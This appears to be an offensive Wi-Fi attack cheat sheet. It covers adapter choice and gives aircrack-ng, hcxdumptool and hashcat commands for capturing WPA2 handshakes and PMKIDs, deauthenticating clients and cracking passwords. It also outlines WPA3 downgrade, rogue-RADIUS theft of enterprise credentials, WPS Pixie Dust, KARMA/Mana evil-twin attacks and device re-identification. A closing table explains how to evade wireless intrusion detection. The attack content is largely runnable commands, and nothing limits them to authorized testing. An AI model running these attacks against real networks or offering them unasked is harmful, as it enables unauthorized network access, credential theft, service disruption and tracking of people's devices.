1. Pick the right adapter (monitor mode + injection + correct band/PHY for target)
| Chipset | Strengths | Notes |
|---|---|---|
| Atheros AR9271 (Alfa AWUS036NHA) | Solid 2.4 GHz monitor + injection | 802.11n only |
| Realtek RTL8812AU (AWUS036ACH) | Dual-band, injection | Driver: aircrack-ng/rtl8812au |
| MediaTek MT7612U (AWUS036ACM) | Stable dual-band | Modern kernels in-tree |
| MediaTek MT7921AU | Wi-Fi 6 monitor (limited) | Patched drivers required |
| AWUS036AXML / AXM | Wi-Fi 6E (6 GHz) | Bleeding edge — verify per release |
# Verify monitor + injection
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo aireplay-ng --test wlan0mon
iw list | grep -A 8 "Supported interface modes"
# Multi-channel discovery (all bands)
sudo airodump-ng wlan0mon --band abg
# Targeted on a known channel/BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
# Hidden SSID — wait for client probe or force deauth
sudo airodump-ng -c 6 --essid-regex "." wlan0mon
# Wigle / Kismet for war-driving
kismet -c wlan0mon
Key data to record: BSSID, ESSID, channel, encryption, PMF status, client list, RSSI, vendor OUI.
# Targeted capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
# Force a reconnect (deauth one client, do not blanket the AP)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
Verify the EAPOL frames are usable:
hcxpcapngtool -o hash.hc22000 handshake-01.cap
PMKID lives in the first AP-to-station message — you can grab it without anyone connected.
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
# GPU dictionary attack
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
# Mask attack (e.g. carrier defaults: 10 digits)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
If the AP advertises both WPA2 and WPA3 (transition mode), force clients onto WPA2 by spoofing an RSN-only beacon and capturing as PSK.
Side-channel and downgrade attacks on SAE. Older hostapd (<2.10) with insufficient curve diversification leaks password elements via timing/cache attacks.
# Reference implementation

| Inner Method | Attack |
|---|---|
| EAP-MSCHAPv2 (PEAP/TTLS) | Crack NetNTLMv1-style challenge offline |
| EAP-GTC | Cleartext password — capture via rogue RADIUS |
| EAP-TLS | Steal client cert (often in user keychain / DPAPI / NDES) |
| EAP-PWD | Dragonblood-class side channels |

Critical: organizations that don't pin server cert + CN on supplicants are vulnerable. Win10/11 with ServerValidation disabled (common for BYOD) will hand over creds.

Vulnerable chipsets: Ralink, Realtek, Broadcom (older firmware), MediaTek (specific revs). Pixiewps recovers PIN in seconds when nonces are predictable.

Older stations broadcast PNL (Preferred Network List) probes. KARMA replies "yes" to anything; Mana picks one realistic ESSID and answers consistently to defeat MAC randomization.

iOS/Android randomize MACs but leak per-SSID stable IDs. Cluster probes by sequence number and timing to re-identify devices.
| Attack | Class | Target |
|---|---|---|
| KRACK (CVE-2017-13077..082) | Key reinstallation | Unpatched WPA2 supplicants |
| FragAttacks (CVE-2020-24586..588) | Fragmentation/aggregation | Most pre-2021 implementations |

802.11w (PMF) blocks unencrypted deauth. Most modern enterprise APs require it. Clients without PMF support are still kickable via Action frames.

| AP/WIDS Detector | Trigger | Evasion |
|---|---|---|
| Excessive deauth | >5 deauth/sec from one source MAC | Spread across spoofed MACs, target individuals |
| Rogue AP detection | Unauthorized BSSID on monitored channel | Match real BSSID's beacon timing/IE order exactly |
| Karma response anomaly | AP answering all probe SSIDs | Use Mana mode, pick one plausible SSID |
| WPS lockout | Repeated PIN failures | Pixie Dust offline only, abandon online brute |
| RADIUS log: cert mismatch | Supplicant rejects evil-twin cert | Use copies of victim CA-signed certs (unlikely) |
